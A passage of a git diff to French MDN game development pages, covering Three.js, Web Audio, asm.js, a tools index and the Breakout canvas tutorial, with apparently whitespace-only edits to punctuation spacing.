de Three et la manière de créer une démonstration de base. +Une scène 3D dans un jeu - même la plus simple - contient des éléments standard comme des formes situées dans un système de coordonnées, une caméra pour les voir réellement, des lumières et des matériaux pour amelioré son esthétique, des animations pour la rendre vivante, etc. **Three.js**, comme avec toute autre bibliothèque 3D, fournit des fonctions d'assistance intégrées pour vous aider à implémenter plus rapidement les fonctionnalités 3D courantes. Dans cet article, nous vous expliquerons les bases de l'utilisation de Three, notamment la configuration d'un environnement de développement, la structuration du code HTML nécessaire, les objets fondamentaux de Three et la manière de créer une démonstration de base. > **Note :** Nous avons choisi Three car il s'agit de l'une des bibliothèques WebGL les plus populaires, et il est facile de commencer. Nous n'essayons pas de dire que c'est mieux que toute autre bibliothèque WebGL disponible, et vous devriez vous sentir libre d'essayer une autre bibliothèque, comme CopperLicht, GLGE ou PlayCanvas @@ -54,9 +54,9 @@ avant de poursuivre copier se code dans un fichier nommé index.html. ## Renderer ou Moteur de rendue -un Moteur de rendue est un outil qui affiche les scénes directement dans votre navigateur.Il existe plusieur moteur different :WebGL est la valeur par défaut, vous pouvez utilisercanvas,SVG,CSS et DOM . ils différent dans la façons dont il gere le rendu. Malgres leurs differences , l experience utilisateur sera la meme. +un Moteur de rendue est un outil qui affiche les scénes directement dans votre navigateur.Il existe plusieur moteur different :WebGL est la valeur par défaut, vous pouvez utilisercanvas,SVG,CSS et DOM . ils différent dans la façons dont il gere le rendu. Malgres leurs differences , l experience utilisateur sera la meme. -Grace à cette approche, une solution de secour peut etre utilisée , si une technologie n'est pas prise en charge par le navigatueur. +Grace à cette approche, une solution de secour peut etre utilisée , si une technologie n'est pas prise en charge par le navigatueur. ```js var renderer = new THREE.WebGLRenderer({antialias:true}); @@ -103,7 +103,7 @@ Vous devez expérimenter ces valeurs et voir comment elles changent ce que vous ## Rendu de la scene -Tout est prêt, mais on ne voit toujours rien. Bien que nous ayons configuré le moteur de rendu, nous devons toujours effetué le rendu. Notre fonction render () fera ce travail, avec un peu d'aide de requestAnimationFrame (), ce qui fait que la scène sera restituée sur chaque image: +Tout est prêt, mais on ne voit toujours rien. Bien que nous ayons configuré le moteur de rendu, nous devons toujours effetué le rendu. Notre fonction render () fera ce travail, avec un peu d'aide de requestAnimationFrame (), ce qui fait que la scène sera restituée sur chaque image: ```js function render() { @@ -157,7 +157,7 @@ We've now created a cube, using the geometry and material defined earlier. The l scene.add(cube); ``` -If you save, and refresh your Web browser, our object will now look like a square, because it's facing the camera. The good thing about objects, is that we can move them on the scene, however we want. For example, rotating and scaling as we like. Let's apply a little rotation to the cube, so we can see more than one face. Again, adding our code below the previous: +If you save, and refresh your Web browser, our object will now look like a square, because it's facing the camera. The good thing about objects, is that we can move them on the scene, however we want. For example, rotating and scaling as we like. Let's apply a little rotation to the cube, so we can see more than one face. Again, adding our code below the previous: ```js cube.rotation.set(0.4, 0.2, 0); @@ -181,7 +181,7 @@ Now we will add more shapes to the scene, and explore other shapes, materials, l cube.position.x = -25; ``` -Now onto more shapes and materials. What might happen when you add a torus, wrapped in the Phong material? Try adding the following lines, just below the lines defining the cube. +Now onto more shapes and materials. What might happen when you add a torus, wrapped in the Phong material? Try adding the following lines, just below the lines defining the cube. ```js var torusGeometry = new THREE.TorusGeometry(7, 1, 6, 12); @@ -224,7 +224,7 @@ This looks a little boring though. In a game, something is usually happening. We ## Animation -We already used rotation, to adjust the position of the cube. We can also scale the shapes, or change their positions. To show animation, we need to make changes to these values inside the render loop, so they update on each frame. +We already used rotation, to adjust the position of the cube. We can also scale the shapes, or change their positions. To show animation, we need to make changes to these values inside the render loop, so they update on each frame. ### Rotation @@ -251,7 +251,7 @@ t += 0.01; torus.scale.y = Math.abs(Math.sin(t)); ``` -We use `Math.sin`, ending up with quite an interesting result. This scales the torus, repeating the process, as `sin` is a periodic function. We're wrapping the scale value in `Math.abs`, to pass the absolute values, greater or equal to 0. As sin is between -1 and 1, negative values might render out torus in unexpected way. In this case it looks black half the time. +We use `Math.sin`, ending up with quite an interesting result. This scales the torus, repeating the process, as `sin` is a periodic function. We're wrapping the scale value in `Math.abs`, to pass the absolute values, greater or equal to 0. As sin is between -1 and 1, negative values might render out torus in unexpected way. In this case it looks black half the time. Now, onto movement. diff --git a/files/fr/games/techniques/3d_on_the_web/index.md b/files/fr/games/techniques/3d_on_the_web/index.md index 7d294a7a53..bb153d79cb 100644 --- a/files/fr/games/techniques/3d_on_the_web/index.md +++ b/files/fr/games/techniques/3d_on_the_web/index.md @@ -51,11 +51,11 @@ Il y a aussi la [construction d'une démo de base avec l'article A-Frame](/fr/do Le codage de WebGL brut est assez complexe, mais vous aurez envie de le maîtriser à long terme, car vos projets seront plus avancés (consultez notre [documentation WebGL](/fr/docs/Web/API/WebGL_API) pour commencer). Pour les projets de monde réel, vous utiliserez probablement aussi un "framework" pour accélérer le développement et vous aider à gérer le projet. L'utilisation d'un "framework" pour les jeux 3D permet également d'optimiser les performances, car les outils que vous utilisez vous permettent de vous concentrer sur la construction du jeu. -La bibliothèque 3D JavaScript la plus populaire est [Three.js](http://threejs.org/), un outil polyvalent qui rend les techniques 3D plus simples à implémenter. Il existe d'autres bibliothèques et cadres de développement de jeux populaires qui valent la peine d'être regardés ; [A-Frame](https://aframe.io), [PlayCanvas](https://playcanvas.com/) et [Babylon.js](http://www.babylonjs.com/) sont parmi les plus reconnaissables avec une documentation riche, des éditeurs en ligne et des communautés actives. +La bibliothèque 3D JavaScript la plus populaire est [Three.js](http://threejs.org/), un outil polyvalent qui rend les techniques 3D plus simples à implémenter. Il existe d'autres bibliothèques et cadres de développement de jeux populaires qui valent la peine d'être regardés ; [A-Frame](https://aframe.io), [PlayCanvas](https://playcanvas.com/) et [Babylon.js](http://www.babylonjs.com/) sont parmi les plus reconnaissables avec une documentation riche, des éditeurs en ligne et des communautés actives. ### Construction d'une démo de base avec A-Frame -A-Frame est un "framework" web pour construire des expériences 3D et de la réalité virtuelle. Sous le capot, il s'agit d'un "framework" three.js avec un modèle déclaratif entité-composant, ce qui signifie que nous pouvons construire des scènes avec seulement du HTML. Voir la page [Construction d'une démo de base avec A-Frame](/fr/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_A-Frame) pour le processus étape par étape de création de la démo . +A-Frame est un "framework" web pour construire des expériences 3D et de la réalité virtuelle. Sous le capot, il s'agit d'un "framework" three.js avec un modèle déclaratif entité-composant, ce qui signifie que nous pouvons construire des scènes avec seulement du HTML. Voir la page [Construction d'une démo de base avec A-Frame](/fr/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_A-Frame) pour le processus étape par étape de création de la démo . ### Construction d'une démo de base avec Babylon.js @@ -67,7 +67,7 @@ PlayCanvas est un moteur de jeu 3D WebGL populaire ouvert sur GitHub, avec un é ### Construction d'une démo de base avec Three.js -Three.js, comme toute autre bibliothèque, vous donne un énorme avantage : au lieu d'écrire des centaines de lignes de code WebGL pour construire quelque chose d'intéressant, vous pouvez utiliser des fonctions intégrées pour le faire beaucoup plus facilement et plus rapidement. Voir la page [Construction d'une démo de base avec Three.js](/fr/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Three.js) pour le processus étape par étape de création de la démo . +Three.js, comme toute autre bibliothèque, vous donne un énorme avantage : au lieu d'écrire des centaines de lignes de code WebGL pour construire quelque chose d'intéressant, vous pouvez utiliser des fonctions intégrées pour le faire beaucoup plus facilement et plus rapidement. Voir la page [Construction d'une démo de base avec Three.js](/fr/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Three.js) pour le processus étape par étape de création de la démo . ### Autres outils diff --git a/files/fr/games/techniques/audio_for_web_games/index.md b/files/fr/games/techniques/audio_for_web_games/index.md index 8049e4ae04..9a5323ab2c 100644 --- a/files/fr/games/techniques/audio_for_web_games/index.md +++ b/files/fr/games/techniques/audio_for_web_games/index.md @@ -300,7 +300,7 @@ Regardons maintenant le code. Nous créons d'abord un nouveau {{domxref ("AudioC `start()` (anciennement appelé `noteOn ())` commence à lire un élément audio. `start ()` demande trois paramètres (facultatifs) : -1. when _(quand)_ : le temps absolu pour commencer la lecture . +1. when _(quand)_ : le temps absolu pour commencer la lecture . 2. where (offset) _(où)_ : la partie de l'audio qui doit commencer à être jouée. 3. how long _(combien de temps)_ : la durée pendant laquelle elle doit être jouée. @@ -316,7 +316,7 @@ Vous pouvez trouver que l'introduction d'une nouvelle piste sonne plus naturelle Pour ce faire, avant de jouer la piste que vous voulez synchroniser, vous devez calculer combien de temps cela va durer jusqu'au début de la prochaine unité musicale. -Voici un peu de code qui donne un tempo (le temps en secondes de votre battement / mesure), calcule combien de temps attendre pour jouer la partie suivante — vous alimentez la valeur initiale de la fonction `start ()` avec le premier paramètre qui prend le temps absolu de début de la lecture. Notez que le deuxième paramètre (où commencer à jouer à partir de la nouvelle piste) est relatif : +Voici un peu de code qui donne un tempo (le temps en secondes de votre battement / mesure), calcule combien de temps attendre pour jouer la partie suivante — vous alimentez la valeur initiale de la fonction `start ()` avec le premier paramètre qui prend le temps absolu de début de la lecture. Notez que le deuxième paramètre (où commencer à jouer à partir de la nouvelle piste) est relatif : ```js if (offset == 0) { @@ -347,7 +347,7 @@ Nous pouvons relier : - la direction des objets (mouvement de position et génération de l'effet Doppler) - l'environnement (caverneux, sous-marin, etc.) -Ceci est particulièrement utile dans un environnement tridimensionnel rendu en utilisant [WebGL](/fr/docs/Web/API/WebGL_API), avec lequel l'API Web Audio permet d'associer l'audio aux objets et aux points de vue . +Ceci est particulièrement utile dans un environnement tridimensionnel rendu en utilisant [WebGL](/fr/docs/Web/API/WebGL_API), avec lequel l'API Web Audio permet d'associer l'audio aux objets et aux points de vue . > **Note :** Voir [Web Audio API Spatialization Basics](/fr/docs/Web/API/Web_Audio_API/Web_audio_spatialization_basics) _(Bases de la spacialisation de l'API Web Audio)_ pour plus de détails. diff --git a/files/fr/games/tools/asm.js/index.md b/files/fr/games/tools/asm.js/index.md index 5378455b1b..1d51a626ed 100644 --- a/files/fr/games/tools/asm.js/index.md +++ b/files/fr/games/tools/asm.js/index.md @@ -11,11 +11,11 @@ translation_of: Games/Tools/asm.js -C'est un sous-ensemble très petit et strict de JavaScript qui ne permet que des choses comme \`while\`,\` if\`, les nombres, les fonctions nommées de haut niveau et d'autres constructions simples. Cela n'autorise pas les objets, les chaînes, les fermetures, et tout ce qui nécessite une allocation de tas. Le code Asm.js ressemble à C de plusieurs façons, mais il reste toujours un JavaScript valide dans tous les moteurs actuels. Il pousse les moteurs JS à optimiser ce type de code et donne aux compilateurs comme Emascript une définition claire de ce type de code à générer. Nous allons montrer à quoi ressemble le code asm.js et expliquer comment il aide et comment vous pouvez l'utiliser. +C'est un sous-ensemble très petit et strict de JavaScript qui ne permet que des choses comme \`while\`,\` if\`, les nombres, les fonctions nommées de haut niveau et d'autres constructions simples. Cela n'autorise pas les objets, les chaînes, les fermetures, et tout ce qui nécessite une allocation de tas. Le code Asm.js ressemble à C de plusieurs façons, mais il reste toujours un JavaScript valide dans tous les moteurs actuels. Il pousse les moteurs JS à optimiser ce type de code et donne aux compilateurs comme Emascript une définition claire de ce type de code à générer. Nous allons montrer à quoi ressemble le code asm.js et expliquer comment il aide et comment vous pouvez l'utiliser. Ce sous-ensemble de JavaScript est déjà très optimisé dans de nombreux moteurs JavaScript utilisant des techniques de compilation Just-In-Time (JIT). Cependant, en définissant une norme explicite, nous pouvons travailler sur l'optimisation de ce type de code encore plus et obtenir autant de performance que possible. Il est plus facile de collaborer sur plusieurs moteurs JS car il est facile de parler et de comparer. L'idée est que ce type de code devrait fonctionner très rapidement dans chaque moteur, et si ce n'est pas le cas, c'est un bug et il existe une spécification claire pour laquelle les moteurs devraient optimiser. -Il permet également aux personnes d'écrire des compilateurs qui souhaitent générer un code performant sur le Web. Ils peuvent consulter la spécification asm.js et savoir qu'ils fonctionneront rapidement s'ils adhèrent aux modèles asm.js. [Emscripten](https://github.com/kripken/emscripten), du C / C ++ au compilateur JavaScript, émet le code asm.js pour le faire fonctionner avec des performances proches natives sur plusieurs navigateurs. +Il permet également aux personnes d'écrire des compilateurs qui souhaitent générer un code performant sur le Web. Ils peuvent consulter la spécification asm.js et savoir qu'ils fonctionneront rapidement s'ils adhèrent aux modèles asm.js. [Emscripten](https://github.com/kripken/emscripten), du C / C ++ au compilateur JavaScript, émet le code asm.js pour le faire fonctionner avec des performances proches natives sur plusieurs navigateurs. En outre, si un moteur choisit de reconnaître spécialement le code asm.js, il existe encore plus d'optimisations qui peuvent être réalisées. Firefox est le seul navigateur à le faire maintenant. diff --git a/files/fr/games/tools/index.md b/files/fr/games/tools/index.md index 930b84358e..7dabccaa44 100644 --- a/files/fr/games/tools/index.md +++ b/files/fr/games/tools/index.md @@ -11,12 +11,12 @@ translation_of: Games/Tools --- {{GamesSidebar}}{{IncludeSubnav("/fr/docs/Games")}} -Sur cette page, vous trouverez des liens vers nos articles sur les outils de développement de jeux, qui visent à terme à couvrir les frameworks, les compilateurs et les outils de débogage. +Sur cette page, vous trouverez des liens vers nos articles sur les outils de développement de jeux, qui visent à terme à couvrir les frameworks, les compilateurs et les outils de débogage. - [asm.js](/fr/docs/Games/Tools/asm.js) - : asm.js est un sous-ensemble très limité du langage JavaScript, qui peut être grandement optimisé et exécuté dans un moteur de compilation à l'avance (AOT) pour des performances beaucoup plus rapides que vos performances JavaScript typiques. C'est, bien sûr, idéal pour les jeux. - [Emscripten](https://github.com/kripken/emscripten/wiki "https://github.com/kripken/emscripten/wiki") - - : Un compilateur LLVM vers JavaScript; avec Emscripten, vous pouvez compiler C ++ et d'autres langages qui peuvent compiler en bytecode LLVM en JavaScript haute performance. C'est un excellent outil pour porter des applications sur le Web! Il existe un [tutoriel uitle Emscripten](https://github.com/kripken/emscripten/wiki/Tutorial) disponible sur le wiki. Notez que nous [visons à couvrir Emscripten dans sa propre section de MDN](/fr/docs/Emscripten). + - : Un compilateur LLVM vers JavaScript; avec Emscripten, vous pouvez compiler C ++ et d'autres langages qui peuvent compiler en bytecode LLVM en JavaScript haute performance. C'est un excellent outil pour porter des applications sur le Web! Il existe un [tutoriel uitle Emscripten](https://github.com/kripken/emscripten/wiki/Tutorial) disponible sur le wiki. Notez que nous [visons à couvrir Emscripten dans sa propre section de MDN](/fr/docs/Emscripten). - [Gecko profiler](https://addons.mozilla.org/en-us/firefox/addon/gecko-profiler/ "https://addons.mozilla.org/en-us/firefox/addon/gecko-profiler/") - : L'extension de profileur Gecko vous permet de profiler votre code pour vous aider à déterminer où se trouvent vos problèmes de performances afin que vous puissiez faire fonctionner votre jeu à une vitesse maximale. - [Moteurs de jeu et outils](/fr/docs/Games/Tools/Engines_and_tools) diff --git a/files/fr/games/tutorials/2d_breakout_game_phaser/index.md b/files/fr/games/tutorials/2d_breakout_game_phaser/index.md index f27cde10cf..4da8ade96e 100644 --- a/files/fr/games/tutorials/2d_breakout_game_phaser/index.md +++ b/files/fr/games/tutorials/2d_breakout_game_phaser/index.md @@ -12,7 +12,7 @@ Dans ce tutoriel étape par étape, nous créons un simple jeu mobile **MDN Brea Chaque étape a des échantillons modifiables, disponibles pour jouer avec, de sorte que vous pouvez voir à quoi devraient ressembler les étapes intermédiaires. Vous apprendrez les bases de l'utilisation du framework Phaser pour implémenter les mécanismes fondamentaux du jeu comme le rendu et le mouvement des images, la détection des collisions, les mécanismes de contrôle, les fonctions d'aide spécifiques aux cadres, les animations et les interpolations, les états gagnants et perdants. -Pour tirer le meilleur parti de cette série d'articles, vous devez déjà avoir des connaissances de base ou intermédiaires en [JavaScript](/fr/Learn/Getting_started_with_the_web/JavaScript_basics). Après avoir parcouru ce tutoriel, vous devriez être capable de construire vos propres jeux Web simples avec Phaser. +Pour tirer le meilleur parti de cette série d'articles, vous devez déjà avoir des connaissances de base ou intermédiaires en [JavaScript](/fr/Learn/Getting_started_with_the_web/JavaScript_basics). Après avoir parcouru ce tutoriel, vous devriez être capable de construire vos propres jeux Web simples avec Phaser.  @@ -37,11 +37,11 @@ Toutes les leçons - et les différentes versions du jeu [MDN Breakout game](htt 15. [Boutons](/fr/docs/Games/Workflows/2D_Breakout_game_Phaser/Buttons) 16. [Mode de jeu aléatoire](/fr/docs/Games/Workflows/2D_Breakout_game_Phaser/Randomizing_gameplay) -Comme note sur les parcours d'apprentissage — en commençant par le JavaScript pur est le meilleur moyen d'acquérir une solide connaissance du développement de jeux en ligne. Si vous n'êtes pas déjà familier avec le développement de jeux en JavaScript pur, nous vous suggérons de travailler d'abord avec l'homologue de cette série, [2D breakout game using pure JavaScript](/fr/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript). +Comme note sur les parcours d'apprentissage — en commençant par le JavaScript pur est le meilleur moyen d'acquérir une solide connaissance du développement de jeux en ligne. Si vous n'êtes pas déjà familier avec le développement de jeux en JavaScript pur, nous vous suggérons de travailler d'abord avec l'homologue de cette série, [2D breakout game using pure JavaScript](/fr/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript). Après cela, vous pouvez choisir n'importe quel framework que vous voulez et l'utiliser pour vos projets ; nous avons choisi Phaser car c'est un bon framework solide, avec un bon support et une communauté disponible, et un bon ensemble de plugins. Les cadres accélèrent le temps de développement et aident à prendre soin des parties ennuyeuses, vous permettant ainsi de vous concentrer sur les choses amusantes. Cependant, les frameworks ne sont pas toujours parfaits, donc si quelque chose d'inattendu se produit ou si vous voulez écrire des fonctionnalités que le framework ne fournit pas, vous aurez besoin de connaissances en JavaScript pur. -> **Note :** Cette série d'articles peut être utilisée comme matériel pour des ateliers pratiques de développement de jeux. Vous pouvez également utiliser la fonction [Gamedev Phaser Content Kit](https://github.com/end3r/Gamedev-Phaser-Content-Kit) basé sur ce tutoriel si vous voulez donner une conférence sur le développement d'un jeu avec Phaser. +> **Note :** Cette série d'articles peut être utilisée comme matériel pour des ateliers pratiques de développement de jeux. Vous pouvez également utiliser la fonction [Gamedev Phaser Content Kit](https://github.com/end3r/Gamedev-Phaser-Content-Kit) basé sur ce tutoriel si vous voulez donner une conférence sur le développement d'un jeu avec Phaser. ## Prochaines étapes diff --git a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/bounce_off_the_walls/index.md b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/bounce_off_the_walls/index.md index e0a0d0f3e4..8d6baba56e 100644 --- a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/bounce_off_the_walls/index.md +++ b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/bounce_off_the_walls/index.md @@ -20,7 +20,7 @@ original_slug: >- {{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Move_the_ball", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_et_contr%C3%B4le_clavier")}} -C'est la **3<sup>e</sup> étape sur** 10 de ce [tutoriel Gamedev Canvas](/fr/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript). Vous pouvez retrouver le code source de cette leçon sur [Gamedev-Canvas-workshop/lesson3.html](https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson01.html). +C'est la **3<sup>e</sup> étape sur** 10 de ce [tutoriel Gamedev Canvas](/fr/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript). Vous pouvez retrouver le code source de cette leçon sur [Gamedev-Canvas-workshop/lesson3.html](https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson01.html). C'est agréable de voir notre balle bouger, mais elle disparaît rapidement de l'écran, ce qui limite le plaisir que nous pouvons avoir avec elle ! Pour y pallier, nous allons mettre en place une détection de collision très simple (qui sera expliquée plus tard en détail) pour faire rebondir la balle sur les quatre bords de la toile. @@ -62,7 +62,7 @@ if(y + dy > canvas.height) { } ``` -Si la position en y de la balle est supérieure à la hauteur du canvas (soit 480 pixels dans cette leçon) on inverse encore la vitesse de la balle. +Si la position en y de la balle est supérieure à la hauteur du canvas (soit 480 pixels dans cette leçon) on inverse encore la vitesse de la balle. On peut rassembler les deux conditions en une grâce au "ou" qui s'écrit || en JavaScript : diff --git a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/build_the_brick_field/index.md b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/build_the_brick_field/index.md index ab190b5bfc..4eda41525b 100644 --- a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/build_the_brick_field/index.md +++ b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/build_the_brick_field/index.md @@ -16,7 +16,7 @@ original_slug: Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_ {{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Game_over", "Games/Workflows/2D_Breakout_game_pure_JavaScript/detection_colisions")}} -Il s'agit de la **6ème étape** sur 10 du [Gamedev Canvas tutorial](/fr/docs/Games/Workflows/Breakout_game_from_scratch). Vous pouvez trouver le code source après avoir complété cette leçon à : [Gamedev-Canvas-workshop/lesson6.html](https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson06.html). +Il s'agit de la **6ème étape** sur 10 du [Gamedev Canvas tutorial](/fr/docs/Games/Workflows/Breakout_game_from_scratch). Vous pouvez trouver le code source après avoir complété cette leçon à : [Gamedev-Canvas-workshop/lesson6.html](https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson06.html). Après avoir modifié la mécanique du Gameplay, nous sommes maintenant en mesure de perdre. Et ça c'est top car on a enfin l'impression de jouer à un vrai jeu. Cependant, ça devient vite ennuyeux si la balle ne fait que rebondir sur la raquette. Ce dont a vraiment besoin un jeu de casse-brique c'est des briques à détruire avec la balle. Et c'est ce que nous allons faire maintenant. @@ -34,9 +34,9 @@ var brickOffsetTop = 30; var brickOffsetLeft = 30; ``` -Ici nous avons défini dans l'ordre le nombre de lignes et de colonnes de briques, mais également une hauteur, une largeur et un espacement (_padding_) entre les briques pour qu'elles ne se touchent pas entre elles et qu'elles ne commencent pas a être tracées sur le bord du canevas. +Ici nous avons défini dans l'ordre le nombre de lignes et de colonnes de briques, mais également une hauteur, une largeur et un espacement (_padding_) entre les briques pour qu'elles ne se touchent pas entre elles et qu'elles ne commencent pas a être tracées sur le bord du canevas. -Nous allons placer nos briques dans un tableau à deux dimensions. Il contiendra les colonnes de briques (c), qui à leur tour contiendront les lignes de briques (r) qui chacune contiendront un objet défini par une position `x` et `y` pour afficher chaque brique sur l'écran. +Nous allons placer nos briques dans un tableau à deux dimensions. Il contiendra les colonnes de briques (c), qui à leur tour contiendront les lignes de briques (r) qui chacune contiendront un objet défini par une position `x` et `y` pour afficher chaque brique sur l'écran. Ajoutez le code suivant juste en-dessous des variables : ```js @@ -71,16 +71,16 @@ function drawBricks() { } ``` -Une nouvelle fois, nous parcourons les colonnes et les lignes pour attribuer une position `x` et `y` à chaque brique, et nous dessinons les briques — de taille : `brickWidth` x `brickHeight` — sur le canevas, pour chaque itération de la boucle. Le problème est que nous les affichons toutes au même endroit, aux coordonnées `(0,0)`. Ce dont nous avons besoin d'inclure ce sont quelques calculs qui vont définir la position `x` et `y` de chaque brique à chaque passage dans la boucle : +Une nouvelle fois, nous parcourons les colonnes et les lignes pour attribuer une position `x` et `y` à chaque brique, et nous dessinons les briques — de taille : `brickWidth` x `brickHeight` — sur le canevas, pour chaque itération de la boucle. Le problème est que nous les affichons toutes au même endroit, aux coordonnées `(0,0)`. Ce dont nous avons besoin d'inclure ce sont quelques calculs qui vont définir la position `x` et `y` de chaque brique à chaque passage dans la boucle : ```js var brickX = (c*(brickWidth+brickPadding))+brickOffsetLeft; var brickY = (r*(brickHeight+brickPadding))+brickOffsetTop; ``` -Chaque position `brickX` est déterminée par `brickWidth` + `brickPadding`, multiplié par le nombre de colonnes, `c`, plus `brickOffsetLeft`; la logique pour `brickY` est identique excepté qu'on utilise pour les ligne les valeurs `r`,`brickHeight` et `brickOffsetTop`. Maintenant chaque brique peut être dessinée à la bonne place - en lignes et colonnes, avec un espacement entre les briques, avec un espace par rapport à la gauche et au haut du contour du canvas. +Chaque position `brickX` est déterminée par `brickWidth` + `brickPadding`, multiplié par le nombre de colonnes, `c`, plus `brickOffsetLeft`; la logique pour `brickY` est identique excepté qu'on utilise pour les ligne les valeurs `r`,`brickHeight` et `brickOffsetTop`. Maintenant chaque brique peut être dessinée à la bonne place - en lignes et colonnes, avec un espacement entre les briques, avec un espace par rapport à la gauche et au haut du contour du canvas. -La version finale de la fonction `drawBricks()`, après avoir assigné les valeurs `brickX` et `brickY` comme coordonnées, plutot que `(0,0)` à chaque fois, va ressembler à ceci — ajouter la fonction ci-dessous après `drawPaddle()` : +La version finale de la fonction `drawBricks()`, après avoir assigné les valeurs `brickX` et `brickY` comme coordonnées, plutot que `(0,0)` à chaque fois, va ressembler à ceci — ajouter la fonction ci-dessous après `drawPaddle()` : ```js function drawBricks() { @@ -102,7 +102,7 @@ function drawBricks() { ## Afficher les briques -La dernière chose à faire dans cette leçon est d'ajouter un appel à `drawBricks()` quelque part dans la fonction `draw()`, préférablement au début, entre le nettoyage du canevas et le dessin de la balle. Ajoutez la ligne suivante juste en dessous de `drawBall()` : +La dernière chose à faire dans cette leçon est d'ajouter un appel à `drawBricks()` quelque part dans la fonction `draw()`, préférablement au début, entre le nettoyage du canevas et le dessin de la balle. Ajoutez la ligne suivante juste en dessous de `drawBall()` : ```js drawBricks(); @@ -114,11 +114,11 @@ drawBricks(); {{JSFiddleEmbed("https://jsfiddle.net/yumetodo/t1zqmzLp/","","395")}} -Exercice : essayez de changer le nombre de briques dans une colonne ou dans une ligne ou bien leur position. +Exercice : essayez de changer le nombre de briques dans une colonne ou dans une ligne ou bien leur position. ## Prochaines étapes -Nous avons donc maintenant des briques ! +Nous avons donc maintenant des briques ! Mais la balle n'a toujours aucune interaction avec elles. Nous allons donc changer ça dans le chapitre sept : [Détection des collisions](/fr/docs/) {{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Game_over", "Games/Workflows/2D_Breakout_game_pure_JavaScript/detection_colisions")}} diff --git a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/collision_detection/index.md b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/collision_detection/index.md index f1d656f550..4ea2a5e1b8 100644 --- a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/collision_detection/index.md +++ b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/collision_detection/index.md @@ -15,7 +15,7 @@ original_slug: Games/Workflows/2D_Breakout_game_pure_JavaScript/detection_colisi {{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win")}} -Il s'agit de la **7ème étape** sur 10 du [Gamedev Canvas tutorial](/fr/docs/Games/Workflows/Breakout_game_from_scratch). Vous pouvez trouver le code source tel qu'il devrait être après avoir complété cette leçon à : [Gamedev-Canvas-workshop/lesson7.html](https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson07.html). +Il s'agit de la **7ème étape** sur 10 du [Gamedev Canvas tutorial](/fr/docs/Games/Workflows/Breakout_game_from_scratch). Vous pouvez trouver le code source tel qu'il devrait être après avoir complété cette leçon à : [Gamedev-Canvas-workshop/lesson7.html](https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson07.html). Les briques apparaissent à l'écran, mais le jeu n'est toujours pas intéressant car la balle les traverse. Nous devons ajouter une détection des collisions afin qu’elle puisse rebondir sur les briques et les casser. @@ -58,7 +58,7 @@ function collisionDetection() { } ``` -Ajoutez le bloc ci-dessus à votre code, sous la fonction `keyUpHandler()` . +Ajoutez le bloc ci-dessus à votre code, sous la fonction `keyUpHandler()` . ## Faire disparaître les briques après qu'elles aient été touchées @@ -98,7 +98,7 @@ function drawBricks() { ## Suivi et mise à jour de l'état dans la fonction de détection de collision -Nous devons maintenant impliquer la propriété de `status` de brique dans la fonction `collisionDetection()`: si la brique est active (son statut est `1`), nous vérifierons si une collision a lieu ; Si une collision se produit, nous allons définir l'état de la brique donnée sur `0` afin qu'elle ne soit pas affichée à l'écran. Mettez à jour votre fonction `collisionDetection()` comme indiqué ci-dessous: +Nous devons maintenant impliquer la propriété de `status` de brique dans la fonction `collisionDetection()`: si la brique est active (son statut est `1`), nous vérifierons si une collision a lieu ; Si une collision se produit, nous allons définir l'état de la brique donnée sur `0` afin qu'elle ne soit pas affichée à l'écran. Mettez à jour votre fonction `collisionDetection()` comme indiqué ci-dessous: ```js function collisionDetection() { @@ -134,6 +134,6 @@ Exercice: changez la couleur de la balle lorsqu'elle frappe une brique. ## Prochaine étape -Nous ne sommes plus très loin de la fin ; poursuivons ! Dans le huitième chapitre, nous verrons comment [Track the score and win](/fr/docs/Games/Workflows/Breakout_game_from_scratch/Track_the_score_and_win). +Nous ne sommes plus très loin de la fin ; poursuivons ! Dans le huitième chapitre, nous verrons comment [Track the score and win](/fr/docs/Games/Workflows/Breakout_game_from_scratch/Track_the_score_and_win). {{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win")}} diff --git a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/create_the_canvas_and_draw_on_it/index.md b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/create_the_canvas_and_draw_on_it/index.md index 39debd17dd..7479830b59 100644 --- a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/create_the_canvas_and_draw_on_it/index.md +++ b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/create_the_canvas_and_draw_on_it/index.md @@ -19,13 +19,13 @@ original_slug: >- {{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Move_the_ball")}} -C'est la 